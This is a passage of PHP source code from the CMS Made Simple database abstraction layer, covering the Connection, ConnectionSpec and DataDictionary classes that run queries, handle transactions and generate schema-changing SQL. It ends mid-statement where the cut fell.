         * @param bool $first2cols Only output the first 2 columns in an associative array.  Does not work with force_array.
         */
        public function GetAssoc( $sql, $inputarr = null, $force_array = false, $first2cols = false )
        {
            $data = null;
            $result = $this->SelectLimit($sql, -1, -1, $inputarr );
            if( $result ) $data = $result->GetAssoc($force_array,$first2cols);
            return $data;
        }

        /**
         * Execute an SQL statement that returns one column, and return all of the
         * matches as an array.
         *
         * @param string $sql The SQL statement to execute.
         * @param array $inputarr Any parameters marked as placeholders in the SQL statement.
         * @param bool $trim Optionally trim the output results.
         * @return array A single flat array of results, one entry per row matched.
         */
        public function GetCol($sql, $inputarr = null, $trim = false)
        {
            $data = null;
            $result = $this->SelectLimit($sql, -1, -1, $inputarr);
            if ($result) {
                $data = [];
                $key = null;
                while (!$result->EOF) {
                    $row = $result->Fields();
                    if( !$key ) $key = array_keys($row)[0];
                    $data[] = ($trim) ? trim($row[$key]) : $row[$key];
                    $result->MoveNext();
                }
            }
            return $data;
        }

        /**
         * Exeute an SQL statement that returns one row of results, and return that row
         * as an associative array.
         *
         * @param string $sql The SQL statement to execute.
         * @param array $inputarr Any parameters marked as placeholders in the SQL statement.
         * @return array An associative array representing a single resultset row.
         */
        public function GetRow($sql, $inputarr = null)
        {
            $nrows = 1;
            if( stripos( $sql, 'LIMIT' ) !== FALSE ) $nrows = -1;
            $rs = $this->SelectLimit( $sql, $nrows, -1, $inputarr );
            if( !$rs ) return FALSE;
            return $rs->Fields();
        }

        /**
         * Execute an SQL statement and return a single value.
         *
         * @param string $sql The SQL statement to execute.
         * @param array $inputarr Any parameters marked as placeholders in the SQL statement.
         * @return mixed
         */
        public function GetOne($sql, $inputarr = null)
        {
            $res = $this->Getrow( $sql, $inputarr );
            if( !$res ) return FALSE;
            $key = array_keys($res)[0];
            return $res[$key];
        }

        //// transactions

        /**
         * Begin a transaction
         */
        abstract public function BeginTrans();

        /**
         * Begin a smart transaction
         */
        abstract public function StartTrans();

        /**
         * Complete a smart transaction.
         * This method will either do a rollback or a commit depending upon if errors have been detected.
         *
         * @param bool $autoComplete If no errors have been detected attempt to auto commit the transaction.
         */
        abstract public function CompleteTrans($autoComplete = true);

        /**
         * Commit a simple transaction.
         *
         * @param bool $ok Indicates wether there is success or not.
         */
        abstract public function CommitTrans($ok = true);

        /**
         * Roll back a simple transaction.
         */
        abstract public function RollbackTrans();

        /**
         * Mark a transaction as failed.
         */
        abstract public function FailTrans();

        /**
         * Test if a transaction has failed.
         *
         * @return bool
         */
        abstract public function HasFailedTrans();

        //// sequence table stuff

        /**
         * For use with sequence tables, this method will generate a new ID value.
         *
         * This function will not automatically create the sequence table if not specified.
         *
         * @param string $seqname The name of the sequence table.
         * @return int
         * @deprecated
         */
        abstract public function GenID($seqname);

        // these methods should be in the DataDictionary stuff.

        /**
         * Create a new sequence table.
         *
         * @param string $seqname the name of the sequence table.
         * @param int $startID
         * @return bool
         * @deprecated
         */
        abstract public function CreateSequence($seqname,$startID=0);

        /**
         * Drop a sequence table
         * @param string $seqname The name of the sequence table.
         * @return bool
         */
        abstract public function DropSequence($seqname);

        //// time and date stuff

        /**
         * A utility method to convert a unix timestamp into a database specific string suitable
         * for use in queries.
         *
         * @param int $timestamp
         * @return string single-quoted date-time or 'null'
         */
        public function DBTimeStamp($timestamp)
        {
            if (empty($timestamp) && $timestamp !== 0) return 'null';

            // strlen(14) allows YYYYMMDDHHMMSS format
            if( is_string($timestamp) ) {
                if( strlen($timestamp) === 14 || preg_match('/[0-9\s:-]*/',$timestamp) ) {
                    $tmp = strtotime($timestamp);
                    if( $tmp < 1 ) return 'null';
                    $timestamp = $tmp;
                } else if( is_numeric($timestamp) ) {
                    $timestamp = (int) $timestamp;
                }
            }
            if( $timestamp > 0 ) return date("'Y-m-d H:i:s'",$timestamp);
        }

        /**
         * A convenience method for converting a database specific string representing a date and time
         * into a unix timestamp.
         *
         * @param string $str
         * @return int
         */
        public function UnixTimeStamp($str)
        {
            return strtotime($str);
        }

        /**
         * Convert a date into something that is suitable for writing to a database.
         *
         * @param mixed $date Either a string date, or an integer timestamp
         * @return string single-quoted localized date or 'null'
         */
        public function DBDate($date)
        {
            if (empty($date) && $date !== 0) return 'null';

            if (is_string($date) && !is_numeric($date)) {
                if ($date === 'null' || strncmp($date, "'", 1) === 0) return $date;
                $date = $this->UnixDate($date);
            }
            return \locale_ftime("'%x'",$date);
        }

        /**
         * Generate a unix timestamp representing the current date at midnight.
         *
         * @deprecated
         * @return int
         */
        public function UnixDate()
        {
            return strtotime('today midnight');
        }

        /**
         * An alias for the UnixTimestamp method.
         *
         * @return int
         */
        public function Time() { return $this->UnixTimeStamp(); }

        /**
         * An Alias for the UnixDate method.
         *
         * @return int
         */
        public function Date() { return $this->UnixDate(); }

        //// error and debug message handling

        /**
         * Return a string describing the latest error (if any)
         *
         * @return string
         */
        abstract public function ErrorMsg();

        /**
         * Return the latest error number (if any)
         *
         * @return int
         */
        abstract public function ErrorNo();

        /**
         * Set an error handler function
         *
         * @param callable $fn
         */
        public function SetErrorHandler($fn = null)
        {
            $this->_errorhandler = null;
            if( $fn && is_callable($fn) ) $this->_errorhandler = $fn;
        }

        /**
         * Toggle debug mode.
         *
         * @param bool $flag Enable or Disable debug mode.
         * @param callable $debug_handler
         */
        public function SetDebugMode($flag = true,$debug_handler = null)
        {
            $this->_debug = (bool) $flag;
            if( $debug_handler && is_callable($this->_debug_handler) ) $this->_debug_cb = $debug_handler;
        }

        /**
         * Set the debug callback.
         *
         * @param callable $debug_handler
         */
        public function SetDebugCallback(callable $debug_handler = null)
        {
            $this->_debug_cb = $debug_handler;
        }

        /**
         * Add a query to the debug log
         *
         * @internal
         * @param string $sql the SQL statement
         */
        protected function add_debug_query($sql)
        {
            $this->_query_count++;
            if( $this->_debug && $this->_debug_cb ) call_user_func($this->_debug_cb,$sql);
        }

        /**
         * A callback that is called when a database error occurs.
         * This method will by default call the error handler if it has been set.
         * If no error handler is set, an exception will be thrown.
         *
         * @internal
         * @param string $errtype The type of error
         * @param int $error_number The error number
         * @param string $error_message The error message
         */
        public function OnError($errtype, $error_number, $error_message )
        {
            if( $this->_errorhandler && is_callable($this->_errorhandler) ) {
                call_user_func($this->_errorhandler, $this, $errtype, $error_number, $error_message);
                return;
            }

            switch( $errtype ) {
            case self::ERROR_CONNECT:
                throw new DatabaseConnectionException($error_message,$error_number);

            case self::ERROR_EXECUTE:
                throw new DatabaseException($error_message,$error_number,$this->sql,$this->_connectionSpec);
            }
        }

        //// initialization

        /**
         * Create a new database connection object.
         * This is the preferred wa to open a new database connection.
         *
         * @param \CMSMS\Database\Connectionspec $spec An object describing the database to connect to.
         * @return \CMSMS\Database\Connection
     * @todo  Move this into a factory class
         */
        public static function &Initialize(ConnectionSpec $spec)
        {
            if( !$spec->valid() ) throw new ConnectionSpecException('Invalid or incorrect configuration information');
            $connection_class = '\\CMSMS\\Database\\'.$spec->type.'\\Connection';
            if( !class_exists($connection_class) ) throw new \LogicException('Could not find a database abstraction layer named '.$spec->type);

            $obj = new $connection_class($spec);
            if( !($obj instanceof Connection ) ) throw new \LogicException("$connection_class is not derived from the primary database class.");
            if( $spec->debug ) $obj->SetDebugMode();
            $obj->Connect();

            if( $spec->auto_exec ) $obj->Execute($spec->auto_exec);
            return $obj;
        }

    } // end of class

    /**
     * A special type of exception related to database queries.
     */
    class DatabaseException extends \LogicException
    {
        /**
         * @internal
         */
        protected $_connection;

        /**
         * @internal
         */
        protected $_sql;

        /**
         * Constructor
         *
         * @param string $msg The message string
         * @param int $number The error number
         * @param string $sql The related SQL statement, if any
         * @param \CMSMS\Database\ConnectionSpec The connection specification
         */
        public function __construct($msg,$number,$sql,ConnectionSpec $connection)
        {
            parent::__construct($msg,$number);
            $this->_connection = $connection;
            $this->_sql = $sql;
        }

        /**
         * Get the SQL statement related to this exception.
         * @return string
         */
        public function getSQL() { return $this->_sql; }

        /**
         * Get the Connectionspec that was used when generating the error.
         *
         * @return \CMSMS\Database\ConnectionSpec
         */
        public function getConnectionSpec() { return $this->_connection; }
    }

    /**
     * A special exception indicating a problem connecting to the database.
     */
    class DatabaseConnectionException extends \Exception {}

} // end of Namespace
<?php
#BEGIN_LICENSE
#-------------------------------------------------------------------------
# Module: \CMSMS\Database\ConnectionSpec (c) 2015 by Robert Campbell
#         (calguy1000@cmsmadesimple.org)
#  A class to define how to connect to a database.
#
#-------------------------------------------------------------------------
# CMS - CMS Made Simple is (c) 2005 by Ted Kulp (wishy@cmsmadesimple.org)
# Visit our homepage at: http://www.cmsmadesimple.org
#
#-------------------------------------------------------------------------
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# However, as a special exception to the GPL, this software is distributed
# as an addon module to CMS Made Simple.  You may not use this software
# in any Non GPL version of CMS Made simple, or in any version of CMS
# Made simple that does not indicate clearly and obviously in its admin
# section that the site was built with CMS Made simple.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# Or read it online: http://www.gnu.org/licenses/licenses.html#GPL
#
#-------------------------------------------------------------------------
#END_LICENSE

/**
 * This file defines the ConnectionSpec class.
 *
 * @package CMS
 */

namespace CMSMS\Database;

/**
 * A class defining all of the details needed to connect to a database.
 * Some database drivers may not require all of the parameters.
 *
 * @package CMS
 * @author Robert Campbell
 * @copyright Copyright (c) 2015, Robert Campbell <calguy1000@cmsmadesimple.org>
 * @since 2.2
 * @param string $type The database connection type.  Defaults to 'mysqli'.
 * @param string $host The hostname to connect to.
 * @param string $username The authentication username
 * @param string $password The authentication password
 * @param string $dbname The database name
 * @param string $prefix The table name prefix.
 * @param int    $port   The connection port
 * @param bool   $persistent Wether or not to use persistent connections.
 * @param bool   $debug  Enable debug mode.
 */
class ConnectionSpec
{
    /**
     * @ignore
     */
    private $_data = array('type'=>'mysqli','host'=>null,'username'=>null,'password'=>null,
                           'dbname'=>null,'prefix'=>null,'port'=>null,'persistent'=>false,'debug'=>false,
                           'auto_exec'=>null);

    /**
     * @ignore
     */
    public function __get($key)
    {
        if( !array_key_exists($key,$this->_data) ) throw new \InvalidArgumentException("$key is not a valid member of ".__CLASS__);
        return $this->_data[$key];
    }

    /**
     * @ignore
     */
    public function __set($key,$val)
    {
        if( !array_key_exists($key,$this->_data) ) throw new \InvalidArgumentException("$key is not a valid member of ".__CLASS__);
        $this->_data[$key] = trim($val);
    }

    /**
     * Test if this connectionspec is valid.
     * Returns true if there is enough information to connect to the database.
     *
     * @return bool
     */
    public function valid()
    {
        if( !$this->type || !$this->host || !$this->username || !$this->password || !$this->dbname ) return FALSE;
        return TRUE;
    }
}

/**
 * A special exception to indicate a problem with a ConnectionSpec
 */
class ConnectionSpecException extends \Exception {}

?>
<?php
#BEGIN_LICENSE
#-------------------------------------------------------------------------
# Module: \CMSMS\Database\DataDictionary (c) 2015 by Robert Campbell
#         (calguy1000@cmsmadesimple.org)
#  A class to define methods of interacting with database tables.
#
#-------------------------------------------------------------------------
# CMS - CMS Made Simple is (c) 2005 by Ted Kulp (wishy@cmsmadesimple.org)
# Visit our homepage at: http://www.cmsmadesimple.org
#
#-------------------------------------------------------------------------
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# However, as a special exception to the GPL, this software is distributed
# as an addon module to CMS Made Simple.  You may not use this software
# in any Non GPL version of CMS Made simple, or in any version of CMS
# Made simple that does not indicate clearly and obviously in its admin
# section that the site was built with CMS Made simple.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# Or read it online: http://www.gnu.org/licenses/licenses.html#GPL
#
#-------------------------------------------------------------------------
#END_LICENSE

/**
 * This file defines the DataDictionary class.
 *
 * This file is based on the DataDictionary base class from the adodb_lite library
 * which was in turn a fork of the adodb library at approximately 2004.
 *
 * Credits and kudos to the authors of those packages.
 *
 * @package CMS
 */

namespace CMSMS\Database;

// shouldn't need this.
if (!function_exists('ctype_alnum')) {
    /**
     * @ignore
     */
	function ctype_alnum($text) {
		return preg_match('/^[a-z0-9]*$/i', $text);
	}
}

/**
 * @ignore
 */
function _array_change_key_case($an_array)
{
	if (is_array($an_array)) {
		$new_array = array();
		foreach($an_array as $key=>$value)
			$new_array[strtoupper($key)] = $value;

	   	return $new_array;
   }

	return $an_array;
}

/**
 * @ignore
 */
function Lens_ParseArgs($args,$endstmtchar=',',$tokenchars='_.-')
{
	$pos = 0;
	$intoken = false;
	$stmtno = 0;
	$endquote = false;
	$tokens = array();
	$tokens[$stmtno] = array();
	$max = strlen($args);
	$quoted = false;

	while ($pos < $max) {
		$ch = substr($args,$pos,1);
		switch($ch) {
		case ' ':
		case "\t":
		case "\n":
		case "\r":
			if (!$quoted) {
				if ($intoken) {
					$intoken = false;
					$tokens[$stmtno][] = implode('',$tokarr);
				}
				break;
			}
			$tokarr[] = $ch;
			break;
		case '`':
			if ($intoken) $tokarr[] = $ch;
		case '(':
		case ')':
		case '"':
		case "'":
			if ($intoken) {
				if (empty($endquote)) {
					$tokens[$stmtno][] = implode('',$tokarr);
					if ($ch == '(') $endquote = ')';
					else $endquote = $ch;
					$quoted = true;
					$intoken = true;
					$tokarr = array();
				} else if ($endquote == $ch) {
					$ch2 = substr($args,$pos+1,1);
					if ($ch2 == $endquote) {
						$pos += 1;
						$tokarr[] = $ch2;
					} else {
						$quoted = false;
						$intoken = false;
						$tokens[$stmtno][] = implode('',$tokarr);
						$endquote = '';
					}
				} else
					$tokarr[] = $ch;
			}else {
				if ($ch == '(') $endquote = ')';
				else $endquote = $ch;
				$quoted = true;
				$intoken = true;
				$tokarr = array();
				if ($ch == '`') $tokarr[] = '`';
			}
			break;
		default:
			if (!$intoken) {
				if ($ch == $endstmtchar) {
					$stmtno += 1;
					$tokens[$stmtno] = array();
					break;
				}
				$intoken = true;
				$quoted = false;
				$endquote = false;
				$tokarr = array();
			}
			if ($quoted) $tokarr[] = $ch;
			else if (ctype_alnum($ch) || strpos($tokenchars,$ch) !== false) $tokarr[] = $ch;
			else {
				if ($ch == $endstmtchar) {
					$tokens[$stmtno][] = implode('',$tokarr);
					$stmtno += 1;
					$tokens[$stmtno] = array();
					$intoken = false;
					$tokarr = array();
					break;
				}
				$tokens[$stmtno][] = implode('',$tokarr);
				$tokens[$stmtno][] = $ch;
				$intoken = false;
			}
		}
		$pos += 1;
	}
	if ($intoken) $tokens[$stmtno][] = implode('',$tokarr);

	return $tokens;
}


/**
 * A class defining methods to work directly with database tables.
 *
 * This file is based on the DataDictionary base class from the adodb_lite library
 * which was in turn a fork of the adodb library at approximately 2004.
 *
 * Credits and kudos to the authors of those packages.
 *
 * @package CMS
 * @author Robert Campbell
 * @copyright Copyright (c) 2015, Robert Campbell <calguy1000@cmsmadesimple.org>
 * @since 2.2
 */
abstract class DataDictionary
{
    /**
     * The database connection object.
     *
     * @internal
     */
	protected $connection;

    /**
     * The SQL prefix to use when creating a drop table command.
     *
     * @internal
     */
	protected $dropTable = 'DROP TABLE %s';

    /**
     * The SQL prefix to use when renaming a table.
     *
     * @internal
     */
	protected $renameTable = 'RENAME TABLE %s TO %s';

    /**
     * The SQL prefix to use when dropping an index.
     *
     * @internal
     */
	protected $dropIndex = 'DROP INDEX %s';

    /**
     * The SQL string to use (in the alter table command) when adding a column.
     *
     * @internal
     */
	protected $addCol = ' ADD';

    /**
     * The SQL string to use (in the alter table command) when altering a column.
     *
     * @internal
     */
	protected $alterCol = ' ALTER COLUMN';

    /**
     * The SQL string to use (in the alter table command) when dropping a column.
     *
     * @internal
     */
	protected $dropCol = ' DROP COLUMN';

    /**
     * The SQL command template for renaming a column.
     *
     * @internal
     */
	protected $renameColumn = 'ALTER TABLE %s RENAME COLUMN %s TO %s';	// table, old-column, new-column, column-definitions (not used by default)

    /**
     * @ignore
     */
	protected $nameRegex = '\w';

    /**
     * @ignore
     */
	protected $nameRegexBrackets = 'a-zA-Z0-9_\(\)';

    /**
     * @ignore
     */
	protected $autoIncrement = false;

    /**
     * @ignore
     */
	protected $invalidResizeTypes4 = array('CLOB','BLOB','TEXT','DATE','TIME'); // for changetablesql

    /**
     * Constructor
     *
     * @param \CMSMS\Database\Connection $conn
     */
    protected function __construct(Connection $conn)
    {
        $this->connection = $conn;
    }

    /**
     * A function to return the database type.
     *
     * @internal
     * @return string
     */
    protected function _DBType() { return $this->connection->DbType(); }

    /**
     * A function to return the datadictionary meta type for a database column type.
     *
     * @internal
     * @param string $t The database column type
     * @param int $len The length of the field (some database types may ignore this)
     * @param mixed $fieldobj An optional reference to a field object (advanced)
     * @return string
     */
	abstract protected function MetaType($t,$len=-1,$fieldobj=false);

    /**
     * Return the list of tables in the currently connected database.
     *
     * @return string[]
     */
    abstract public function MetaTables();

    /**
     * Return the list of columns in a table within the currently connected database.
     *
     * @param string $table The table name.
     * @return string[]
     */
    abstract public function MetaColumns($table);

    /**
     * Return a database specific column type given a datadictionary meta column type.
     *
     * @internal
     * @param string $meta The datadictionary column type.
     * @return string
     */
	abstract protected function ActualType($meta);

    /**
     * Given a string name, return a quoted name in a form suitable for the database.
     *
     * @internal
     * @param string $name The input name
     * @param bool $allowBrackets wether brackets should be quoted or not.
     * @return string
     */
	protected function NameQuote($name = NULL,$allowBrackets=false)
	{
		if (!is_string($name)) return FALSE;

		$name = trim($name);

		if ( !is_object($this->connection) ) return $name;

		$quote = $this->connection->nameQuote;

		// if name is of the form `name`, quote it
		if ( preg_match('/^`(.+)`$/', $name, $matches) ) return $quote . $matches[1] . $quote;

		// if name contains special characters, quote it
		$regex = ($allowBrackets) ? $this->nameRegexBrackets : $this->nameRegex;

		if ( !preg_match('/^[' . $regex . ']+$/', $name) ) return $quote . $name . $quote;

		return $name;
	}

    /**
     * Given a table name, optionally quote it.
     *
     * @internal
     * @param string $name
     * @return string
     */
	protected function TableName($name)
	{
		return $this->NameQuote($name);
	}

    /**
     * Given an array of SQL commands execute them in sequence.
     *
     * @param string[] $sql An array of sql commands.
     * @param bool $continueOnError wether to continue on errors or not.
     * @return int 2 for no errors, 1 if an error occured.
     */
	public function ExecuteSQLArray($sql, $continueOnError = true)
	{
		$rez = 2;
		$conn = &$this->connection;
		foreach($sql as $line) {
            try {
                $ok = $conn->Execute($line);
                if (!$ok) {
                    if (!$continueOnError) return 0;
                    $rez = 1;
                }
            }
            catch( \Exception $e ) {
                if( !$continueOnError ) throw $e;
                $rez = 1;
                // eat the exception
            }
		}
		return $rez;
	}

    /**
     * Create the SQL commands that will result in a database being created.
     *
     * @param string $dbname
     * @param array  An associative array of database options.
     * @return string[] An array of strings suitable for use with the ExecuteSQLArray method
     */
	public function CreateDatabase($dbname,$options=false)
	{
		$options = $this->_Options($options);
		$sql = array();

		$s = 'CREATE DATABASE ' . $this->NameQuote($dbname);
		if (isset($options[$this->upperName]))
			$s .= ' '.$options[$this->upperName];

		$sql[] = $s;
		return $sql;
	}

	/**
     * Generate the SQL to create an index.
     *
     * @param string $idxname The index name
     * @param string $tabname The table name
     * @param string|string[] $flds A list of the table fields to create the index with.  Either an array of strings or a comma separated list.
     * @param array An associative array of options
     * @return string[] An array of strings suitable for use with the ExecuteSQLArray method
	*/
	public function CreateIndexSQL($idxname, $tabname, $flds, $idxoptions = false)
	{
		if (!is_array($flds)) {
      $flds = array_map( 'trim', explode(',',$flds) );
		}
		foreach($flds as $key => $fld) {
			# some indexes can use partial fields, eg. index first 32 chars of "name" with NAME(32)
			$flds[$key] = $this->NameQuote($fld,$allowBrackets=true);
		}
		return $this->_IndexSQL($this->NameQuote($idxname), $this->TableName($tabname), $flds, $this->_Options($idxoptions));
	}

    /**
     * Generate the SQL to drop an index
     *
     * @param string $idxname The index name
     * @param string $tabname The table name
     * @return string[] An array of strings suitable for use with the ExecuteSQLArray method
     */
	public function DropIndexSQL ($idxname, $tabname = NULL)
	{
		return array(sprintf($this->dropIndex, $this->NameQuote($idxname), $this->TableName($tabname)));
	}

    /**
     * Generate the SQL to add columns to a table.
     *
     * @param string $tabname The Table name.
     * @param string $flds The column definitions (using DataDictionary meta types)
     * @return string[] An array of strings suitable for use with the ExecuteSQLArray method
     * @see CreateTableSQL
     */
	public function AddColumnSQL($tabname, $flds)
	{
		$tabname = $this->TableName ($tabname);
		$sql = array();
		list($lines,$pkey) = $this->_GenFields($flds);
		$alter = 'ALTER TABLE ' . $tabname . $this->addCol . ' ';
		foreach($lines as $v) {
			$sql[] = $alter . $v;
		}
		return $sql;
	}

	/**
	 * Change the definition of one column
	 *
	 * @param string $tabname table-name
	 * @param string $flds column-name and type for the changed column.
	 * @param string $tableflds complete defintion of the new table, eg. for postgres, default ''
	 * @param array/string $tableoptions options for the new table see CreateTableSQL, default ''
     * @return string[] An array of strings suitable for use with the ExecuteSQLArray method
	 */
	public function AlterColumnSQL($tabname, $flds, $tableflds='',$tableoptions='')
	{
		$tabname = $this->TableName ($tabname);
		$sql = array();
		list($lines,$pkey) = $this->_GenFields($flds);
		$alter = 'ALTER TABLE ' . $tabname . $this->alterCol . ' ';
		foreach($lines as $v) {
			$sql[] = $alter . $v;
		}
		return $sql;
	}

	/**
	 * Rename one column in a table.
	 *
	 * @param string $tabname table-name
	 * @param string $oldcolumn column-name to be renamed
	 * @param string $newcolumn new column-name
	 * @param string $flds complete column-defintion-string like for AddColumnSQL, only used by mysql atm., default=''
     * @return string[] An array of strings suitable for use with the ExecuteSQLArray method
	 */
	public function RenameColumnSQL($tabname,$oldcolumn,$newcolumn,$flds='')
	{
		$tabname = $this->TableName ($tabname);
		if ($flds) {
			list($lines,$pkey) = $this->_GenFields($flds);
			$first = current($lines);
			list(,$column_def) = preg_split("/[\t ]+/",$first,2);
		}
		return array(sprintf($this->renameColumn,$tabname,$this->NameQuote($oldcolumn),$this->NameQuote($newcolumn),$column_def));
	}

	/**
	 * Drop one column from a table.
	 *
	 * @param string $tabname table-name
	 * @param string $flds column-name and type for the changed column
	 * @param string $tableflds complete defintion of the new table, eg. for postgres, default ''
	 * @param array/string $tableoptions options for the new table see CreateTableSQL, default ''
     * @return string[] An array of strings suitable for use with the ExecuteSQLArray method
	 */
	public function DropColumnSQL($tabname, $flds, $tableflds='',$tableoptions='')
	{
		$tabname = $this->TableName ($tabname);
		if (!is_array($flds)) $flds = explode(',',$flds);
		$sql = array();
		$alter = 'ALTER TABLE ' . $tabname . $this->dropCol . ' ';
		foreach($flds as $v) {
			$sql[] = $alter . $this->NameQuote($v);
		}
		return $sql;
	}

    /**
     * Drop one table, and all of it's indexes
     *
     * @param string $tabname The table name to drop.
     * @return string[] An array of strings suitable for use with the ExecuteSQLArray method
     */
	public function DropTableSQL($tabname)
	{
		return array (sprintf($this->dropTable, $this->TableName($tabname)));
	}

    /**
     * Rename a table.
     *
     * @param string $tabname The table name
     * @param string $newname The new table name
     * @return string[] An array of strings suitable for use with the ExecuteSQLArray method
     */
	public function RenameTableSQL($tabname,$newname)
	{
		return array (sprintf($this->renameTable, $this->TableName($tabname),$this->TableName($newname)));
	}

	/**
     * Generate the SQL to create a new table.
     *
     * The flds string is a comma separated of field definitions, where each definition is of the form
     *    fieldname type columnsize otheroptions
     *
     * The type fields are codes that map to real database types as follows:
     * <dl>
     *  <dt>C</dt>
     *  <dd>Varchar, capped to 255 characters.</dd>
     *  <dt>X</dt>
     *  <dd>Text</dd>
     *  <dt>XL</dt>
     *  <dd>LongText</dd>
     *  <dt>C2</dt>
     *  <dd>Varchar, capped to 255 characters</dd>
     *  <dt>XL</dt>
     *  <dd>LongText</dd>
     *  <dt>B</dt>
     *  <dd>LongBlob</dd>
     *  <dt>D</dt>
     *  <dd>Date</dd>
     *  <dt>DT</dt>
     *  <dd>DateTime</dd>
     *  <dt>T</dt>
     *  <dd>Time</dd>
     *  <dt>TS</dt>
     *  <dd>Timestamp</dd>
     *  <dt>L</dt>
     *  <dd>TinyInt</dd>
     *  <dt>R / I4 / I</dt>
     *  <dd>Integer</dd>
     *  <dt>I1</dt>
     *  <dd>TinyInt</dd>
     *  <dt>I2</dt>
     *  <dd>SmallInt</dd>
     *  <dt>I4</dt>
     *  <dd>BigInt</dd>
     *  <dt>F</dt>
     *  <dd>Double</dd>
     *  <dt>N</dt>
     *  <dd>Numeric</dd>
     *</dl>
     *
     * The otheroptions field includes the following options:
     *<dl>
     *  <dt>AUTO</dt>
     *  <dd>Auto increment. Also sets NOTNULL.</dd>
     *  <dt>AUTOINCREMENT</dt>
     *  <dd>Same as AUTO</dd>
     *  <dt>KEY</dt>
     *  <dd>Primary key field.  Also sets NOTNULL. Compound keys are supported.</dd>
     *  <dt>PRImARY</dt>
     *  <dd>Same as KEY</dd>
     *  <dt>DEFAULT</dt>
     *  <dd>The default value.  Character strings are auto-quoted unless the string begins with a space.  i.e: ' SYSDATE '.</dd>
     *  <dt>DEF</dt>
     *  <dd>Same as DEFAULT</dd>
     *  <dt>CONSTRAINTS</dt>
     *  <dd>Additional constraints defined at the end of the field definition.</dd>
     *</dl>
     *
     * @param string $tabname The table name
     * @param string $flds a comma separated list of field definitions using datadictionary syntax.
     * @param mixed  $tableoptions A string specifying table options (database driver specific) for the table creation command.  Or an associative array of table options, keys being the database type (as available).
     * @return string[] An array of strings suitable for use with the ExecuteSQLArray method
     */
	public function CreateTableSQL($tabname, $flds, $tableoptions=false)
	{
        if( $tableoptions && is_string($tableoptions)) {
            $dbtype = $this->_DBType();
            $tableoptions = [ $dbtype => $tableoptions ];
        }

        list($lines,$pkey) = $this->_GenFields($flds, true);
		$taboptions = $this->_Options($tableoptions);
		$tabname = $this->TableName ($tabname);
		$sql = $this->_TableSQL($tabname,$lines,$pkey,$taboptions);
		$tsql = $this->_Triggers($tabname,$taboptions);
		foreach($tsql as $s) $sql[] = $s;

		return $sql;
	}

    /**
     * Part of the process of parsing the datadictionary format into database specific commands.
     *
     * @internal
     */
	protected function _GenFields($flds,$widespacing=false)
	{
		if (is_string($flds)) {
			$padding = '	 ';
			$txt = $flds.$padding;
			$flds = array();
			$flds0 = Lens_ParseArgs($txt,',');
			$hasparam = false;
			foreach($flds0 as $f0) {
                if( !count($f0) ) break;
				$f1 = array();
				foreach($f0 as $token) {
					switch (strtoupper($token)) {
					case 'CONSTRAINT':
					case 'DEFAULT':
						$hasparam = $token;
						break;
					default:
						if ($hasparam) $f1[$hasparam] = $token;
						else $f1[] = $token;
						$hasparam = false;
						break;
					}
				}
				$flds[] = $f1;
			}
		}
		$this->autoIncrement = false;
		$lines = array();
		$pkey = array();
		foreach($flds as $fld) {
			$fld = _array_change_key_case($fld);
			$fname = false;
			$fdefault = false;
			$fautoinc = false;
			$ftype = false;
			$fsize = false;
			$fprec = false;
			$fprimary = false;
			$fnoquote = false;
			$fdefts = false;
			$fdefdate = false;
			$fconstraint = false;
			$fnotnull = false;
			$funsigned = false;

			//-----------------
			// Parse attributes
			foreach($fld as $attr => $v) {
				if ($attr == 2 && is_numeric($v)) $attr = 'SIZE';
				else if (is_numeric($attr) && $attr > 1 && !is_numeric($v)) $attr = strtoupper($v);
				switch($attr) {
					case '0':
					case 'NAME':
						$fname = $v;
						break;
					case '1':
					case 'TYPE':
						$ty = $v; $ftype = $this->ActualType(strtoupper($v));
						break;
					case 'SIZE':
						$dotat = strpos($v,'.');
						if ($dotat === false) $dotat = strpos($v,',');
						if ($dotat === false) $fsize = $v;
						else {
								$fsize = substr($v,0,$dotat);
								$fprec = substr($v,$dotat+1);
							}
						break;
					case 'UNSIGNED':
						$funsigned = true;
						break;
					case 'AUTOINCREMENT':
					case 'AUTO':
						$fautoinc = true;
						$fnotnull = true;
						break;
					case 'KEY':
					case 'PRIMARY':
						$fprimary = $v;
						$fnotnull = true;
						break;
					case 'DEF':
					case 'DEFAULT':
						$fdefault = $v;
						break;
					case 'NOTNULL':
						$fnotnull = $v;
						break;
					case 'NOQUOTE':
						$fnoquote = $v;
						break;
					case 'DEFDATE':
						$fdefdate = $v;
						break;
					case 'DEFTIMESTAMP':
						$fdefts = $v;
						break;
					case 'CONSTRAINT':
						$fconstraint = $v;
						break;
				}
			}

			//--------------------
			// VALIDATE FIELD INFO
			if (!strlen($fname)) {
                die('failed');
				return false;
			}

			$fid = strtoupper(preg_replace('/^`(.+)`$/', '$1', $fname));
			$fname = $this->NameQuote($fname);

			if (!strlen($ftype)) {
				return false;
			} else {
				$ftype = strtoupper($ftype);
			}

			$ftype = $this->_GetSize($ftype, $ty, $fsize, $fprec);

			if ($ty == 'X' || $ty == 'X2' || $ty == 'B') $fnotnull = false; // some blob types do not accept nulls

			if ($fprimary) $pkey[] = $fname;

			// some databases do not allow blobs to have defaults
			if ($ty == 'X') $fdefault = false;

			//--------------------
			// CONSTRUCT FIELD SQL
			if ($fdefts) {
				if (substr($this->_DbType(),0,5) == 'mysql') {
					$ftype = 'TIMESTAMP';
				} else {
					$fdefault = $this->connection->sysTimeStamp;
				}
			} else if ($fdefdate) {
				if (substr($this->_DBType(),0,5) == 'mysql') {
					$ftype = 'TIMESTAMP';
				} else {
					$fdefault = $this->connection->sysDate;
				}
			} else if ($fdefault !== false && !$fnoquote)
				if ($ty == 'C' or $ty == 'X' or
